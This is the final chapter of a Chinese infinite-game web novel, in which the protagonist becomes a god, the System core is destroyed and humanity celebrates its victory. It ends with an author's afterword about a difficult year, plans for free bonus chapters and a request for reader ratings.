谢叙白虚弱的笑声自他怀里响起,断断续续,微乎其微,却那样开怀蓬勃地骄傲着:“看,宴朔,我早就说过黎明终会到来。” “黑暗无法掩盖光明。”宴朔对谢语春说,“因为它将一直追在光的身后,成为最忠实的信徒。” …… 信仰排山倒海般汇聚,推动谢叙白最后1%的成神进度。 他所有分身融合在一起,一举成神。 在谢叙白的身后,系统核心惨叫着被抛上高空,忒修斯狰狞面容发出猖狂痛快的大笑,驱使黑红色精神力将它砍碎一半,却因为和系统共生无法更近一步砍碎另一半。 就在这时,金光驰来,和忒修斯对视在一起,下一秒,牢牢握住忒修斯颤抖的手,金光与暗红色光合力俯冲,在巨大的爆炸声里彻底毁坏系统核心。 谢叙白没有迟疑,忒修斯也是。 系统死亡的瞬间,忒修斯身后几千万枚棋子溃散粉碎,而他也在一声大笑后彻底闭眼。 数不清的残忍实验,积攒成百上千年的爱恨情仇,通通在这一刻化为飞灰。 谢叙白目视他们彻底消散,而后冲破无限游戏最后一层架构并以此为桥梁,瞬息之间抵达更高的维度。 这里没有具体的空间和时间的概念,又或者说两者有了更深层次的厚度和重量。谢叙白自身的认知、意识、存在感被打碎重组,视野如故事书般不断翻页,变成幻影迷宫,所有图景交错在一起,它们遥远无比却又触手可及。 维度法则感应到熟悉的气息,向谢叙白缓缓“睁眼”。 现实世界,七十多亿沉睡的灵魂从NPC和BOSS的躯壳中醒来,茫然望向玩家们热泪盈眶不敢置信的双眼。 放眼宇宙,笼罩在地球身上的那一层阴翳终于消散。 地球独立于万千星晨之中,向浩瀚寰宇展现出那一抹无与伦比、瑰丽的蔚蓝。 半年后。 经历过一系列动乱冲突,在无数人的协同努力下,灾后的秩序终于渐渐恢复稳定,一封迟来的《致全体幸存者通知书》发送至全球公民。 【全球各族同胞,海内外的幸存者们,经历艰难的抗争,我们庄严宣告,这场捍卫人类文明的存亡之战已取得最终的胜利! …… 虽然灾难的阴霾已然散去,但和平需要我们共同去创立维系,系统只是一个先例,而在遥远的宇宙中还有未知的危险虎视眈眈,也有着未知的机遇等待我们去发掘。 …… 接下来的时间,我们将继续灾后重建工作,维护社会稳定,保障民众权益,特别关注无限游戏中受到影响的人,不抛弃不放弃任何一个同胞。我们将大力发展航天太空科技,不断寻找未来的出路,上下而求索。】 【此致,敬礼。】 【现在是现实世界中洲区20XX年1月14日21点39分。山河犹在,国泰民安。】 作者有话说:终于写完了。 这一年家里出了事,精神状态很差,睡个三四小时一惊醒就开始作呕吐酸水,看着镜子里的自己感觉像只丧尸一样(真变成丧尸的话我要在脑袋上种花哇咔咔!ヘ( ̄ω ̄ヘ)),好几次都在想要不按部就班走完大纲内容就算了吧,但最后还是决定咬咬牙,尽可能写得完整一点,为一直支持我的你们,为当初心潮澎湃写下这篇文的自己,为我爱着的文里的他们。 之后的番外打算都写成福利番外了,回馈追更的读者们,不用花费晋江币,大家有想看的可以在评论区留言[撒花],就是精力不足写不了多少,会挑几个有灵感的写,忙完这阵再开工。 能拜托小天使们给个五星完结好评吗[撒花],能给这篇文后续的收益续航提供加持,对云城很有帮助,在此拜谢。[求你了] 感谢一如既往的支持和喜爱,非常感激,深鞠躬。《 》